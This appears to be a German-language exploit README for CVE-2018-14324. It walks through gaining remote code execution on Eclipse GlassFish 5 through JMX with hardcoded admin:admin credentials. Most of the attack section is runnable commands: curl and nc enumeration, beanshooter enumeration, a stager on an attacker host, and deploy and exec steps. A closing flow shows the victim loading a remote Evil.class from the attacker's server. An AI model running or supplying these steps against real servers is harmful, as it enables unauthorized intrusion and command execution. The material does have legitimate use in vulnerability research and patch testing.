matejsmycka/cve-2018-14324-exploitHacking von Eclipse GlassFish - CVE-2018-14324
Die Beschreibung von CVE-2018-14324 erklärt die Auswirkungen dieser Schwachstelle nicht vollständig. TLDR: Es besteht Zugriff auf Java Management Extensions (JMX) über hartcodierte admin:admin-Zugangsdaten.
Während die Auswirkung als „potenziell sensible Informationen, Datenbankoperationen durchführen oder die Demo über eine JMX-RMI-Sitzung manipulieren“ aufgeführt ist, wird nicht erklärt, was die Manipulation über eine JMX-RMI-Sitzung bedeutet.
Ich bin nur wegen des hohen CVSS-Scores von 9.8 eingestiegen und habe herausgefunden, dass man praktisch RCE über die javax.management.loading:type=MLet-MBean erreichen kann, die in einer GlassFish-5-Instanz standardmäßig aktiviert ist.
Enumeriere den GlassFish-Server anhand des Versionsbanners.
curl http://<TARGET>:8080/ -i | grep 'Server:'
curl http://<TARGET>:8181/ -ik | grep 'Server:'
curl http://<TARGET>:80/ -i | grep 'Server:'
Bei Version 5 ist der Server anfällig für CVE-2018-14324.
Überprüfe dann, ob der JMX-RMI-Dienst auf Port 7676 läuft.
nc <IP_ADDRESS> 7676
Du solltest den Verbindungsstring zum JMX-RMI-Dienst sehen. Halte den String für die spätere Verwendung fest.
Zum Beispiel:
service:jmx:rmi://vm31465/jndi/rmi://vm31465:8686/vm31465/7676/jmx
Wie du siehst, wird der Hostname vm31465 im Verbindungsstring verwendet; es werden zwei Ports erwähnt, 8686 und 7676.
Du solltest vm31465 in deine /etc/hosts-Datei eintragen, sodass sie auf die IP-Adresse von verweist. Wenn du Beanshooter verwendest, ist das nicht erforderlich.
Was zur Hölle ist JMX? Es handelt sich um Java Management Extensions (JMX), eine Technologie, mit der du Verwaltungsschnittstellen für Java-Anwendungen implementieren kannst. Stell es dir wie SNMP für Java-Anwendungen vor.
Zuerst musst du die verfügbaren MBeans auf dem Zielsystem enumerieren.
java DumpJMX.java "service:jmx:rmi:///jndi/rmi://<TARGET>:7776/<TARGET>/7676/jmxrmi"
# if does not work
java -jar beanshooter-4.1.0-jar-with-dependencies.jar enum <IP> 8686 --password admin --user admin
Mit diesem Skript erhältst du eine Liste der MBeans, ihrer Attribute und Operationen.
Die MBean com.sun.management:type=DiagnosticCommand ermöglicht es dir, Diagnosebefehle auf der Ziel-JVM auszuführen. Du kannst sie verwenden, um Systemeigenschaften zu enumerieren; weitere Informationen findest du in DiagnosticCommand.java.
Wenn du javax.management.loading:type=MLet siehst, solltest du das Ziel ausnutzen können. Diese MBean ermöglicht es dir, entfernte Java-Klassen in die Ziel-JVM zu laden.
Allerdings könnte der Java-Security-Manager dich daran hindern, beliebigen Code auszuführen.
Der einzige funktionierende Exploit für RCE war das tomka-Modul im beanshooter. Benutzerdefinierte Exploits wurden vom Security-Manager blockiert. Das MLet-Laden funktionierte weiterhin, aber die Klasse durfte keinen Code ausführen.
Verwende das Beanshooter-tomka-Modul, um das Ziel auszunutzen.
git clone https://github.com/qtc-de/beanshooter.git
cd beanshooter
mvn clean package -DskipTests
## STAGER
java -jar beanshooter-4.1.0-jar-with-dependencies.jar stager <ATTACKER-IP> 8080 tonka
## DEPLOY
java -jar target/beanshooter-4.1.0-jar-with-dependencies.jar tonka deploy --username admin --password admin --stack-trace <TARGET> 7776 --stager-url http://<ATTACKER-IP>:8080 --no-stager
## COMMAND EXECUTION
java -jar target/beanshooter-4.1.0-jar-with-dependencies.jar tonka exec --username admin --password admin --stack-trace <TARGET> 7776 'id'
Du kannst auch debuggen, indem du einen eigenen MBean-Loader schreibst und überwachst, ob sich das Ziel mit deinem MLet-Server verbindet. Der Ablauf ist wie folgt:
attacker -> victim:7776 : javax.management.loading:type=MLet MBean lookup
attacker:8080 <- victim:7776 : Request MLet file
attacker:8080 -> victim:7776 : MLet with URL to Java class file (e.g. http://attacker:8080/Evil.class)
attacker:8080 <- victim:7776 : Request Java class file
attacker:8080 -> victim:7776 : Java class file
attacker -> victim:7776 : Invoke method on loaded Java class (e.g. Evil.listFiles())